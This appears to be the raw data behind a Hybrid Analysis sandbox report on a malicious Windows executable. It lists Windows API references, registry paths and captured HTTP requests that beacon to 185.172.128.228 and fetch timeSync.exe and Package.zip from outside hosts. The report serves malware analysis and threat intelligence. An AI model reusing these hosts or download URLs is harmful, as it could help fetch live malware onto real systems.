24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 5f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T46b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample eda9de6005d8… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample eda9de6005d8…. Malware family: Malware. Threat score 100/100. 7/26 AV engines flagged this file. 10 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/eda9de6005d8b240fcd625ca6e2c2ec385343f2fb88c9d7233892e8302488a9f","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","eda9de6005d8b240fcd625ca6e2c2ec385343f2fb88c9d7233892e8302488a9f"],"about":{"@type":"SoftwareApplication","name":"artifact.bin","applicationCategory":["peexe","executable"],"identifier":"eda9de6005d8b240fcd625ca6e2c2ec385343f2fb88c9d7233892e8302488a9f","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":7,"total":26},"behavioralIndicators":{"malicious":10,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T745,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.067A7000.00000004.mdmp, 00000000-00006116.00000000.116524.06F48000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.066C5000.00000004.mdmp, 00000000-00009160.00000000.117798.069F0000.00000004.mdmp, 00000000-00009160.00000000.117798.06E65000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")26:T4b7,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")27:T738,Contains base64 string in header "like" in header "GET /ping.php?substr=0 HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36" Contains base64 string in header "6261" in header "GET /ping.php?substr=0 HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36" Contains base64 string in header "like" in header "GET /timeSync.exe HTTP/1.1Host: 185.172.128.203User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36" Contains base64 string in header "6261" in header "GET /timeSync.exe HTTP/1.1Host: 185.172.128.203User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36" Contains base64 string in header "note" in header "GET /1/Package.zip HTTP/1.1Host: note.padd.cn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36" Contains base64 string in header "padd" in header "GET /1/Package.zip HTTP/1.1Host: note.padd.cn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36" Contains base64 string in header "like" in header "GET /1/Package.zip HTTP/1.1Host: note.padd.cn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36" Contains base64 string in header "6261" in header "GET /1/Package.zip HTTP/1.1Host: note.padd.cn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36"28:T51e,"850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004836)29:T871,Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found reference to API "GetLocaleInfo failed LCID=0x%x ErrCode=0x%x" (Indicator: "GetLocaleInfo"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp")2a:T79d,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")2b:T5b6,Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")2c:T617,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")2d:T4a4,Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetTextCharsetInfo" (Indicator: "GetTextCharset"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")2e:T742,Found reference to API "DllGetVersion" (Indicator: "GetVersion"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.067A7000.00000004.mdmp, 00000000-00006116.00000000.116524.06F48000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.066C5000.00000004.mdmp, 00000000-00009160.00000000.117798.069F0000.00000004.mdmp, 00000000-00009160.00000000.117798.06E65000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")2f:T17a8,"850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004836) "850a2a0eee8fe41dc2b84bcf4f692aa2.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00004836)30:T446,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp") Found reference to API "CreateFileTransactedW" (Indicator: "CreateFile"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")31:T744,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")32:T4a6,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "850a2a0eee8fe41dc2b84bcf4f692aa2.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp")33:Ta69,"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" in Source: 00000000-00006116.00000000.116524.010DC000.00000002.mdmp 00000000-00009160.00000000.117798.010DC000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\Network" in Source: 00000000-00006116.00000000.116524.010DC000.00000002.mdmp 00000000-00009160.00000000.117798.010DC000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32" in Source: 00000000-00006116.00000000.116524.010DC000.00000002.mdmp 00000000-00009160.00000000.117798.010DC000.00000002.mdmp "Software\Classes\" in Source: 00000000-00006116.00000000.116524.010DC000.00000002.mdmp 00000000-00009160.00000000.117798.010DC000.00000002.mdmp "Software\" in Source: 00000000-00006116.00000000.116524.010DC000.00000002.mdmp 00000000-00009160.00000000.117798.010DC000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00006116.00000000.116524.010DC000.00000002.mdmp 00000000-00009160.00000000.117798.010DC000.00000002.mdmp 